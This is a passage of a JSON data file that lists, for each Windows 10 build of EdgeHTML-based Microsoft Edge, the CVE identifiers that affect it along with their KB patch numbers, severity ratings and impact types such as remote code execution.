Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11764","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code 